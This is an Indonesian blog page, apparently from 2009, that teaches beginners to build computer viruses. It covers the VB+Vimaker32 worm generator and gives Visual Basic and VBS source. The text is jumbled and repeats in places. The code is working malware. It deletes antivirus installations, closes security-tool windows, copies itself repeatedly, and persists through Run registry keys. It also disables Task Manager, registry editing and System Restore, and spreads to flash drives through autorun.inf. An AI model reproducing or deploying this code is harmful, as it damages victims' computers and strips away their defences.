Close #1
SetAttr GetWindowsPath & "\" & "desktop.ini", vbHidden
SetAttr GetWindowsPath, vbSystem
End Sub
Sub Kill_antivirus()
On Error Resume Next
'bunuh antivirus Norman
If Folder_Exist("C:\Norman") = True Then
prog_AntiVir = Array( _
"C:\Norman\Bin", _
"C:\Norman\Download", _
"C:\Norman\Nse\Bin", _
"C:\Norman\Nvc\Bin", _
"C:\Norman\Nvc\Config", _
"C:\Norman\Qtn\Bin" _
)
SetAttr "C:\Norman", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Norman"
End If
'bunuh antivirus Norman kalo ada di dalam direcktory Program Files
If Folder_Exist("C:\Program Files\Norman") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Norman\Bin", _
"C:\Program Files\Norman\Download", _
"C:\Program Files\Norman\Nse\Bin", _
"C:\Program Files\Norman\Nvc\Bin", _
"C:\Program Files\Norman\Nvc\Config", _
"C:\Program Files\Norman\Qtn\Bin" _
)
SetAttr "C:\Program Files\Norman", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Norman"
End If
'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\McAfee") = True Then
prog_AntiVir = Array( _
"C:\Program Files\McAfee\McAfee Firewall", _
"C:\Program Files\McAfee\McAfee VirusScan", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\DatBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\EngineBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Res00", _
"C:\Program Files\McAfee\VirusScan Wireless" _
)
SetAttr "C:\Program Files\McAfee", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\McAfee"
End If
'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\Kaspersky Lab") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Policy", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Report", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Infected" _
)
SetAttr "C:\Program Files\Kaspersky Lab", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.vxd"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Kaspersky Lab"
End If
End Sub
Module BUNUH
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Const WM_CLOSE = &H10
Public Function kick(target As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(target)) > 0 Then
SendMessage H, WM_CLOSE, 0, 0
End If
End Function
Module FILE
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function DeleteFile Lib "kernel32.dll" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Enum SFolder
CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program user (/Programs)
CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite user (/Favorites)
CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp user (/Startup)
CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To (/Send To)
CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan digunakan untuk menyimpan objek file secara fisik pada desktop
CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang kemungkinan ada pda folder virtual My Network Places (/My Network Places)
CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan dokumen template (/Template)
End Enum
'Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
'create buffer
Path$ = Space$(512)
'Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function
'Get System Path
Public Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"
End Function
'Get Windows Path
Public Function GetWindowsPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"
End Function
Public Function Folder_Exist(ByVal strFolder As String) As Boolean
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
If InStr(1, Right$(strFolder, 5), ".") > 0 Then
strFolder = fso.GetParentFolderName(strFolder)
End If
If fso.FolderExists(strFolder) Then
Folder_Exist = True
Else
Folder_Exist = False
End If
Set fso = Nothing
End Function
Module Racuni_Registry
'Registry API
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Const REG_DWORD = 4
Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum
Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum
'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName As String, dwordData As Long) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret
End Function
Public Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret
End Function
Public Function DeleteValue(hKey As REG, Subkey As String, lpValName As String) As Long
Dim ret As Long
On Error Resume Next
RegOpenKey hKey, Subkey, ret
DeleteValue = RegDeleteValue(ret, lpValName)
RegCloseKey ret
End Function
Module Restart
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
'Reboot Windows(Not WinNT)
Public Function Reboot() As Long
'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
End Function
'Shutdown Windows(Not WinNT)
Public Function Shutdown() As Long
'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)
End Function
'Detection WinNT
Public Function IsWinNT() As Boolean
'On Error Resume Next
Dim myOS As OSVERSIONINFO
myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
'For Get Privileges from Win NT
Public Sub EnableShutDown()
'On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES
hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
'Setting Privileges windows NT
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)
End Sub
' Reboot For WinNT
Public Sub RebootNT(Force As Boolean)
Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
' Shutdown For WinNT
Public Sub ShutdownNT(Force As Boolean)
Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
Untuk virus ni anda membutuhkan 1 form dan 4 Module. Untuk lebih jelasnya silahkan anda lihat coding berikut ini:
By YOGYAFREE XCODE
Posted by : dELiozart on Wednesday, August 12, 2009 | Labels: Berita, Hacking, Tips nTrik, Windows | 0 Comments
TENTANG VIRUS DAN CARA MEMBUATNYA
Tulisan ini dibuat untuk para newbie yang ingin tahu, dan mencoba sesuatu hal yang baru dan cukup menyenangkan dan mengasikan…he..he…
Oke, tanpa banyak cang…cing…cong….nyak..babeh…, mari kita mulai dengan ‘Black Project’ yang akan kita ciptakan, siap….????? Oke kita mulai…..
Tapi sebelumnya ada yang tau VB+Vimaker32 ga??? Oke, mungkin biar ga bingung and ga tersesat nantinya , saya akan jelaskan sedikit. VB+ViMaker32 adalah sebuah worm generator yang diciptakan khusus untuk menciptakan worm secara mudah,cepat dan instan atau istilah gaulnya GPLLY (ga pake lama la yaw)
Sesuai dengan namanya program ini dapat menciptakan worm dalam bahasa Visual Basic yang akan mempunyai aksi-aksi tertentu sesuai dengan pengaturan yang diberikan. (Bener-bener sesuai dengan pengaturan yang kita kasih lho….), so buat para newbie yang pengen jadi #VM (Virus Maker bo…!) bisa pake ni program buat belajar. Tapi Cuma buat belajar lho, bukan buat mainan atawa yang laen apalagi buat ngerusak komputer orang laen, sesuai dengan tujuan dibuatnya tool ini, Cuma buat pendidikan dan ilmu pengetahuan, (Itu kata pembuatnya….)
Oke dech langsung aj kali ye… bis cape ngomong terus dari tadi ga mulai-mulai neh… Tapi sebelum kita memulai membuat ‘Black Project’ dengan tool ini kita membutuhkan beberapa persyaratan dan tools, yang semuanya bisa didownload di dapur kalian masing-masing:
Sebuah gelas yang berisi air panas lengkap dengan sendoknya.
Satu sachet cappuccino rasa apa saja yang belum kadaluwarsa, klo ini bisa didownload di warung terdekat…
Cemilan, kalo bisa yang enak dan ga mengandung lemak.
Hati, Pikiran dan niat yang tulus dan ikhlas untuk menanggung segala macam akibat dan resiko yang terjadi apabila kesalahan atau ketidaksengajaan yang menyebabkan worm yang dibuat menjadi raja dikomputer sendiri (sejenis senjata makan tuan gtu…)
Sekarang benar-benar mulai deh, setelah didownload, pertama install dulu program VB+Vimaker32-nya tapi sebelumnya backup dulu data2 penting untuk mencegah sesuatu yang tidak diinginkan, truz jalanin file .exe nya, lalu pilih File->Project Baru (Full Load) atau tekan Ctrl+M di keyboard. Hasilnya seperti gambar dibawah ini.
Tampilan VB+Vimaker32 RC 03 :
Masukan semua keterangan tentang virus yang akan dibuat beserta pengaturan-pengaturan lainnya, seperti pengaturan Informasi Virus, Registry, Message dan dll. Masukan semuanya sesuai dengan keinginan, untuk lebih lengkapnya buka aja dokumentasinya yang disertakan. Semua informasi pengaturan settings dll ada disitu. Yang menarik dari program ini adalah karna banyak pengaturan dan kustomasi yang bisa diatur sendiri sesuai dengan kebutuhan, tidak seperti program worm generator lainnya yang cuma tinggal masukin nama pembuat dan pesan yang akan ditampilkan, terasa kurang bebas dan leluasa gt.
Untuk pengaturan tentang registry yang akan diubah bisa diambil di menu Tools-> Registry Action Selector, terdapat 50 Registry Entry yang bisa dipilih, tinggal pilih truz double klik di setingan registry-nya. Truz klik Insert, Cut dan paste di section [REGISTRY]. Selain itu worm yang dibuat dengan tools ini juga bisa membaca caption window yang aktif sehingga jika caption tersebut ada dalam daftar terlarang maka akan otomatis dilumpuhkan. Untuk memilih daftar window caption yang akan dilumpuhkan gunakan Window Caption Selector di menu Tools. Disitu ada 176 daftar caption yang bisa dipilih. Tuh kan ga beda jauh dengan worm lokal sejenisnya. Pokokenya top bgt nih program! He..he…
Berikut tampilan Registry Action Selector :
Masukan semua keterangan tentang virus yang akan dibuat beserta pengaturan-pengaturan lainnya, seperti pengaturan Informasi Virus, Registry, Message dan dll. Masukan semuanya sesuai dengan keinginan, untuk lebih lengkapnya buka aja dokumentasinya yang disertakan. Semua informasi pengaturan settings dll ada disitu. Yang menarik dari program ini adalah karna banyak pengaturan dan kustomasi yang bisa diatur sendiri sesuai dengan kebutuhan, tidak seperti program worm generator lainnya yang cuma tinggal masukin nama pembuat dan pesan yang akan ditampilkan, terasa kurang bebas dan leluasa gt.
Untuk pengaturan tentang registry yang akan diubah bisa diambil di menu Tools-> Registry Action Selector, terdapat 50 Registry Entry yang bisa dipilih, tinggal pilih truz double klik di setingan registry-nya. Truz klik Insert, Cut dan paste di section [REGISTRY]. Selain itu worm yang dibuat dengan tools ini juga bisa membaca caption window yang aktif sehingga jika caption tersebut ada dalam daftar terlarang maka akan otomatis dilumpuhkan. Untuk memilih daftar window caption yang akan dilumpuhkan gunakan Window Caption Selector di menu Tools. Disitu ada 176 daftar caption yang bisa dipilih. Tuh kan ga beda jauh dengan worm lokal sejenisnya. Pokokenya top bgt nih program! He..he…
Berikut tampilan Registry Action Selector :
angan lupa icon virusnya juga bisa diubah, untuk mengganti icon default tinggal ubah di subsection : EXEIcon = \Icons Source\Folder\Folder001.ico
Terdapat banyak pilihan icon yang disediakan didalam folder Icons Source, so tinggal pilih aja…
Terakhir dan merupakan saat yang ditunggu-tunggu adalah melakukan pemeriksaan kode yang telah diketik sebelum dicompile menjadi virus. Klik menu Project->Analisa Project atau tekan F8 untuk menganalisa kode, setelah analisa selesai dan tidak ada kesalahan penulisan kode yang dideteksi maka ‘Black Project’ yang kita buat bisa langsung dicompile. Tekan F9 untuk mengcompile project dan sebuah pesan peringatan akan muncul dan menanyakan apakah proses compile akan dilajutkan, baca dulu semua konsekuensinya truz klo setuju klik yes, maka virus yang kita buat akan langsung dicompile menjadi file executable (.exe)
ile hasil compile memang cukup besar karena tidak otomatis dikompres secara internal, tapi kita masih bisa mengompres dengan program kompresor lain seperti UPX atau tElock. Akhir kata selamat ber-Virus Maker xxx
Belajar buat virus
Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:
Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :
Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub
Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function
Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub
Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub
Virus Kikuk yang dibuat dengan VBS
virus ni bukan jahat, tapi usil yaitu mengganti tulisan mycomputer, recyle bin, my network dan lain-lain. virus ini juga akan menginfeksi file ke FD. juga secara otomatis autorun dengan membuat file autorun.inf
Berikut adalah source codenya (karena dibuat pakai vbs amaka bisa langsung di lihat source codenya....
Explorer\Main\Window Title","Your Computer Has been Infected By Virus : Paray Rontox"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\International\s1159","Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\International\s2359","Kikuk_Kikuk_666"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\Shell Icon Size","128"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\MinWidth","-100"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\MouseSensitivity", "2"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickHeight", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickSpeed", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickWidth", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Keyboard\KeyboardDelay", "0"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Keyboard\KeyboardSpeed", "36"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Paray@Hacker", rumahgue & "\Kikuk_666_Kikuk.vbs"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ParayRontox", rumahgue & "\Kikuk_666_Kikuk.vbs"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "2", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Text", "bangsat kljsdouiyhifeledfdsl"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Type", "sfgdhtgtygvhgf"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\IntroText","Maaf komputer anda sudah terinfeksi virus Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InfoTip","Maaf komputer anda sudah terinfeksi virus Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\", "Jaringan Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\", "Dokument Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\", "Tonk Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\HelloParay", rumahgue & "\Kikuk_666_Kikuk_Massage.htm"
if check <> 1 then
Wscript.sleep 300000
end if
loop while check <> 1
set sibungul = createobject("Wscript.shell")
sibungul.run rumahgue & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
apabila anda lelah memandang dan lelah untuk copy pa
VirusVb
Untuk virus ni anda membutuhkan 1 form dan 4 Module. Untuk lebih jelasnya silahkan anda lihat coding berikut ini:
Private Sub bunuh_Timer()
'proteksi
tutup "avg"
tutup "anti"
tutup "ANSAV"
tutup "avast"
tutup "asm"
tutup "avira"
tutup "cillin"
tutup "clean"
tutup "CONFIRM FILE DELETE"
tutup "CONFIRM MULTIPLE FILE DELETE"
tutup "compact"
tutup "CRC"
tutup "debug"
tutup "detect"
tutup "NOD"
tutup "Gasak!!!"
tutup "hijack"
tutup "INTERNET OPTIONS"
tutup "kill"
tutup "KILLBOX"
tutup "k1ckth3w0rm"
tutup "kaspersky"
tutup "mcafee"
tutup "NVC"
tutup "norton"
tutup "regis"
tutup "Norman"
tutup "Ogav"
tutup "panda"
tutup "POCKET KILLBOX"
tutup "proc"
tutup "recovery"
tutup "remover"
tutup "rest"
tutup "scan"
tutup "system"
tutup "System Mechanic"
tutup "Setup"
tutup "SHOW/KILL RUNNING PROCESS"
tutup "SYSTEM RESTORE"
tutup "superdat"
tutup "S m a d A V"
tutup "SmadAV"
tutup "task"
tutup "TKM"
tutup "termin"
tutup "trojan"
tutup "tune"
tutup "update"
tutup "virus"
tutup "vaksin"
tutup "WAV"
tutup "wash"
tutup "walk"
tutup "w32"
'selamatkan moral bangsa
kick "17tahun"
kick "adult"
kick "anal"
kick "bangbros"
kick "bangbus"
kick "Bugil"
kick "CrystalClear"
kick "Doggy Style"
kick "amit-amit"
kick "hentai"
kick "hottie"
kick "kiara kener"
kick "Kama Sutra"
kick "lalatx"
kick "miyabi"
kick "masturb"
kick "naughty"
kick "nude"
kick "naked"
kick "nana1_chunk"
kick "pussy"
